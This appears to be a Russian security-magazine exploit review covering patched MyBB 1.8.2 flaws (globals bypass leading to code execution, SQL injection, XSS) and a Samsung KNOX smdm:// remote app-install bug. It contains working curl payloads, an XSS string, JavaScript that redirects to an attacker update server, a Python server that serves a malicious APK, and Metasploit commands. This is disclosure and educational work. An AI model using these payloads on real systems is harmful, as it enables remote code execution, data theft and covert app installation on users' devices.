Содержание статьи
В сегодняшнем обзоре мы пройдемся по различным веб-уязвимостям в одном популярном проекте, а также разберем простую, но при этом довольно интересную уязвимость в Android-устройствах от компании Samsung и то, как решение для улучшения безопасности может содержать ошибку, что приведет лишь к дополнительному вектору атаки.
Различные уязвимости в MyBB 1.8.2
CVSSv2
N/A
BRIEF
Дата релиза: 8 июля 2014 года
Автор: Taoguang Chen, Avinash Kumar Thapa
CVE: N/A
Думаю, бесплатный PHP-движок для создания форумов MyBB знаком многим, плюс мы его освещали на страницах нашего журнала, поэтому перейдем к самому интересному — уязвимостям.
В случае, когда register_globals
включены, MyBB будет вызывать функцию unset_globals()
, которая будет удалять все глобальные переменные в PHP, пришедшие из массивов $_POST, $_GET, $_FILES и $_COOKIE:
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
unset($GLOBALS[$key]); // Двойное удаление из-за zend_hash_del_key_or_index в PHP < 4.4.3 и <5.1.4
}
}
Но эту функцию мы можем обойти.
Сделаем небольшую проверку — отправим запрос вида foo.php?_COOKIE=1
, в результате мы создадим переменную $_GET['_COOKIE']
.
В результате когда отправится переменная $_GET['_COOKIE']=1
, функция уничтожит $GLOBALS['_COOKIE']
:
$this->unset_globals($_GET);
...
}
...
function unset_globals($array)
{
...
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
Это означает, что массив $_COOKIE
был удален. Но это также означает, что все глобальные переменные, зарегистрированные PHP, из массива $_COOKIE не будут удалены, потому что не будут обработаны:
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
Для массивов $_GET
и $_FILES
все будет аналогично, и они будут удалены с помощью unset_globals()
, а соответствующие глобальные переменные, зарегистрированные PHP, — нет.
Теперь отправим запрос вида $_POST['GLOBALS']
, $_FLIES['GLOBALS']
или $_COOKIE['GLOBALS']
.
В этом случае данная функция удалит массив $GLOBALS['GLOBALS']
. Так как это автоматическая глобальная переменная и она связывает глобальную символьную таблицу, мы можем использовать $GLOBALS['key']
для получения доступа к глобальной переменной внутри всего скрипта. Это происходит из-за нарушения связи массива и таблица, так как массив был удален. Помимо этого, переменные из массивов $_GET, $_FILES и $_COOKIE не будут уничтожены.
Разработчики знали об этой проблеме и подстраховались:
$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
foreach($protected as $var)
{
if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
{
die("Hacking attempt");
}
}
К их несчастью и нашей удаче, есть небольшой обход такой защиты.
$_REQUEST
представляет собой ассоциативный массив, содержащий смесь из данных массивов $_GET
, $_POST
и $_COOKIE
.
Но в PHP версии от 5.3 есть опция, затрагивающая эту переменную:
request_order = "GP"
Это рекомендованная настройка в php.ini
. При такой установке переменная $_REQUEST
содержит только $_GET
и $_POST
массивы без $_COOKIE
. Это позволяет нам отправить $_COOKIE['GLOBALS']
и обойти функцию unset_globals()
в PHP 5.3.
Теперь рассмотрим один интересный метод:
class MyBB {
...
function __destruct()
{
if(function_exists("run_shutdown"))
{
run_shutdown();
}
}
}
Для нас представляет интерес функция run_shutdown()
:
function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// Запустить функцию shutdown, если такая имеется
if(is_array($shutdown_functions))
{
foreach($shutdown_functions as $function)
{
call_user_func_array($function['function'], $function['arguments']);
}
}
$done_shutdown = true;
}
Переменная $shutdown_functions
инициализируется с помощью функции add_shutdown()
в init.php
:
// Установить shutdown-функции, которые нужно запустить глобально
add_shutdown('send_mail_queue');
Но сама функция add_shutdown()
содержит ошибки:
function add_shutdown($name, $arguments=array())
{
global $shutdown_functions;
if(!is_array($shutdown_functions))
{
$shutdown_functions = array();
}
if(!is_array($arguments))
{
$arguments = array($arguments);
}
if(is_array($name) && method_exists($name[0], $name[1]))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
else if(!is_array($name) && function_exists($name))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
return false;
}
Из кода выше мы видим, что она содержит уязвимость, потому что переменная $shutdown_functions
инициализируется без каких-либо проверок, что позволяет нам выполнить произвольный код.
EXPLOIT
То есть для случаев, когда на сервере установлены следующие флаги:
request_order = "GP"
register_globals = On
мы можем провести удаленную атаку. Вызовем phpinfo()
:
$ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/
Другой пример использования этой уязвимости, когда PHP использует следующую конфигурацию:
disable_functions = ini_get
В этом случае функция unset_globals
вызывается независимо от того, включен или нет register_globals
:
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
Пример атаки проверен на disable_functions = ini_get
и register_globals = On
:
index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
Помимо этого, в функции run_shutdown()
содержится SQL-инъекция:
function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// У нас имеется несколько shutdown-запросов для запуска
if(is_array($shutdown_queries))
{
// Пробегаемся циклом и запускаем
foreach($shutdown_queries as $query)
{
$db->query($query);
}
}
Инициализация происходит в файле global.php
:
$shutdown_queries = array();
Но не все скрипты включают в себя global.php
, например css.php
:
require_once "./inc/init.php";
В итоге мы не подключаем этот файл и переменная $shutdown_queries
не инициализируется, но в результате мы имеем уязвимость типа SQL-инъекция.
Для случая request_order = "GP"
и register_globals = On
:
$ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
disable_functions = ini_get
и register_globals = On
:
css.php?shutdown_queries[]=SQL_Inj
Кстати, Таогуан Чэнь (Taoguang Chen) нашел эти уязвимости 6 марта и сообщил через специальную security-форму, но так и не получил ответа. Лишь обратившись к разработчику через внутренние сообщения официального форума, он смог добиться выхода патча в середине ноября. Так что эти уязвимости могли эксплуатироваться и ранее.
Помимо такой глобальной уязвимости, другим исследователем была найдена уязвимость типа XSS в этой версии движка. Для ее эксплуатации создадим новый аккаунт и перейдем на страницу редактирования:
*User CP >Edit Profile > **Custom User Title*
Вводим следующую тестовую команду:
<img src=x onerror=alert('XSS');>
Сохраняем и проходим по ссылке /upload/calendar.php
, где мы создадим любое событие и откроем его. После чего увидим долгожданное alert-окно.
TARGETS
MyBB <= 1.8.2; MyBB 1.6 <= 1.6.15.
SOLUTION
Есть исправление от производителя.
Удаленное выполнение кода в Samsung Galaxy KNOX Android Browser
CVSSv2
N/A
BRIEF
Дата релиза: 12 ноября 2014 года
Автор: Quarkslab
CVE: N/A
Хакеры из компании Quarkslab после выхода Samsung Galaxy S5 провели исследование прошивки, в ходе которого они нашли довольно простую уязвимость и написали рабочий эксплойт. Уязвимым оказалось приложение UniversalMDMApplication, которое используется в корпоративном секторе. Оно входит по умолчанию в Samsung Galaxy S5 ROM (и другие модели) и является частью Samsung KNOX.
При запуске приложения со специальными атрибутами мы можем заставить его думать, что пришло новое обновление, после чего на устройстве появится всплывающее окно, которое спросит пользователя, установить его или нет. При положительном ответе будет установлено произвольное приложение, если же пользователь нажмет на кнопку отмены, то можно применить небольшой трюк и просто перезапустить это окно, будто кнопка отмены не работает.
Данную уязвимость можно использовать через электронное письмо (при нажатии на специально созданную ссылку) или создать вредоносную HTML-страницу, при заходе на которую через Chrome или браузер по умолчанию пользователь запустит наш эксплойт. Есть еще вариант воспользоваться MITM-атакой, вставляя свой JavaScript-код внутрь HTML-страниц, которые загружаются устройством.
Помимо того что приложение UniversalMDMClient является частью Samsung KNOX и поэтому установлено в систему по умолчанию, оно имеет собственный зарегистрированный URI smdm://
. О такой особенности приложения мы можем узнать из файла AndroidManifest.xml
этого приложения:
<manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" />
[...]
<uses-permission android:name="android.permission.INSTALL_PACKAGES" />
[...]
<application android:allowBackup="true" android:name=".core.Core">
<activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true"
android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true"
android:theme="@android:style/Theme.DeviceDefault">
<intent-filter>
<data android:scheme="smdm" />
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
</intent-filter>
</activity>
[...]
</application>
</manifest>
За регистрацию отвечает intent-filter
, который назначает обработчиком таких ссылок компонент com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity
. То есть при открытии smdm:\\...
пользователем или его браузером стартуем метод onCreate
из LaunchActivity
. Само приложение обфусцировано с помощью proguard, но некоторые декомпиляторы автоматически его открывают. Из-за большого количества строк декомпилированный код функций будет приведен на скриншотах.
Первое, что проверяет данный метод, — это наличие файла PreETag.xml
внутри директории /data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/
с помощью одноименной функции getPreETAG()
: если он найден, то приложение останавливает свою работу через метод finish()
. По умолчанию такого файла не существует.
Далее приложение пытается получить объект типа Intent, который использовался для старта Activity, и определить, какие данные были получены. Данные должны иметь форму:
smdm://hostname?var1=value1&var2=value2
После их обработки в приложении должны будут появиться следующие переменные:
seg_url
;update_url
;email
;mdm_token
;program
;quickstart_url
.
Для нас, конечно же, больше всего важен параметр update_url
. Далее все переменные будут сохранены внутри файла shared_preference
, и метод onCreate()
закончится вызовом функции Core.startSelfUpdateCheck()
.
Core.startSelfUpdateCheck()
проверяет, происходит ли обновление, если нет, то вызывается UMCSelfUpdateManager.startSelfUpdateCheck()
Эта функция проверяет, доступно ли интернет-соединение, удаляет старые обновления и создает URL, основанный на значении из строки umc_cdn
внутри shared_pref-файла — m.xml
, и добавляет строку /latest
. umc_cdn
— это наш объект типа Intent переменной udpdate_url. И это значение полностью контролируется атакующим. Далее вызывается UMCSelfUpdateManager.doUpdateCheck()
с первым параметром из предыдущего URL.
Внутри этой функции инициализируется класс ContentTransferManager и отправляется HTTP-запрос, созданный из URL, контролируемого атакующим. Во время обработки происходит вызов класса handleRequestResult и различных методов: onFailure()
, onProgress()
, onStart()
, onSucess()
и так далее.
Для нас, конечно же, представляет наибольший интерес метод onSucess()
. После того как приложение получит ссылку на сервер с обновлением, оно попытается обратиться к нему и проверит различные заголовки: ETag, Content-Length и x-amz-meta-apk-version
. Значение из заголовка x-amz-meta-apk-version
сравнивается с текущей версией UniversalMDMApplication APK-файла. И если в нем содержится большее число, то требуется обновление. И у пользователя на устройстве появится всплывающее окно, о котором было упомянуто ранее. Его пример приведен на скриншоте.
Если пользователь нажмет YES
, то будет вызван метод UMCSelfUpdateManager.onSuccess()
, в ходе которого приложение сделает еще один GET-запрос к серверу обновлений и полученный ответ сохранит как APK-файл. Затем будет вызвана функция beginUpdateProcess()
для дальнейшего запуска отдельного потока updateThread
.
Как видно из скриншота, функция run
из класса updateThread
вызывает installApk
, который вызовет _installApplication()
. Суть новой функции довольно интересна: она отключает проверку приложений, чтобы система не сканировала APK-файл во время установки, устанавливает новое приложение и включает проверку обратно. Код также представлен на скриншоте, но ниже приведена наиболее интересная функция. Отключение проверки:
Settings$Global.putInt(InstallManager.mContext.getContentResolver(), GlobalSettingsAdapter.PACKAGE_VERIFIER_ENABLE_0);
Как видишь, на этом все проверки заканчивались, то есть приложение устанавливается в систему, при этом даже не появится стандартное окно, уведомляющее о требуемых правах доступа или проверке сертификата, которым оно подписано. То есть в итоге атакующий может установить произвольное приложение с произвольными правами доступа. Но есть один нюанс: если обновление уже было установлено или кто-то уже атаковал это устройство до нас, то появится значение ETag, которое запишется в файл /data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml
после успешной установки. То есть когда метод onCreate()
проверит его наличие в самом начале и найдет, о чем мы упомянули выше, то обновление не начнется и выполнение приложения остановится.
EXPLOIT
Так как суть уязвимости довольно проста, то и эксплойт такой же. Нам нужно создать HTML-страницу со следующим JavaScript-кодом (или вставить внутрь «белой» страницы):
<script>
function trigger(){
document.location="smdm://meow?update_url=http://yourserver/";
}
setTimeout(trigger, 5000);
</script>
Приятная особенность для атакующего, когда используется такой JavaScript-код, — если пользователь отменит обновление, то его снова перенаправит на эту же страницу и опять появится это всплывающее окно. Далее сервер должен отправить устройству следующие заголовки:
x-amz-meta-apk-version
— произвольная цифра, которая больше, чем текущая версия. К примеру, 1337;ETag
— MD5-хеш APK-файла;Content-Length
— размер APK-файла (используется для полосы загрузки).
Ниже представлен Python-код серверной части:
import hashlib
from BaseHTTPServer import BaseHTTPRequestHandler
APK_FILE = "meow.apk"
APK_DATA = open(APK_FILE,"rb").read()
APK_SIZE = str(len(APK_DATA))
APK_HASH = hashlib.md5(APK_DATA).hexdigest()
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header("x-amz-meta-apk-version", "1337")
self.end_headers()
self.wfile.write(APK_DATA)
return
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Length", APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header("x-amz-meta-apk-version", "1337")
self.end_headers()
return
if __name__ == "__main__":
from BaseHTTPServer import HTTPServer
server = HTTPServer(('0.0.0.0',8080), MyHandler)
server.serve_forever()
Также существует Metasploit-модуль для быстрой и простой эксплуатации:
msf > use exploit/android/browser/samsung_knox_smdm_url
msf exploit(samsung_knox_smdm_url) > set LHOST 192.168.41.186
msf exploit(samsung_knox_smdm_url) > exploit
От авторов уязвимости доступно видео по ее эксплуатации.
TARGETS
- Samsung Galaxy S5;
- Samsung Galaxy S4 (version checked: I9505XXUGNH8);
- Samsung Galaxy S4 mini (version checked: I9190UBUCNG1);
- Samsung Galaxy Note 3 (version checked: N9005XXUGNG1);
- Samsung Galaxy Ace 4 (version checked: G357FZXXU1ANHD).
SOLUTION
Есть исправление от производителя, но не на всех устройствах. Кстати, патч тоже был довольно прост: разработчики добавили проверку имени приложения, которое будет установлено (то есть оно должно быть UniversalMDMClient), так как в системе не может быть двух приложений с одинаковыми именами, но при этом подписанных разными сертификатами. Код патча также представлен на скриншоте.
Также можно попытаться пропатчиться самостоятельно. Нужно создать страницу с ссылкой (или зайти на блог авторов):
smdm://patch/
После нажатия по ней устройство обратится к серверу Samsung UMC (Universal MDM Client) по умолчанию:
http://umc-cdn.secb2b.com:80
На этом сервере хранится последняя версия UniversalMDMClient.apk
.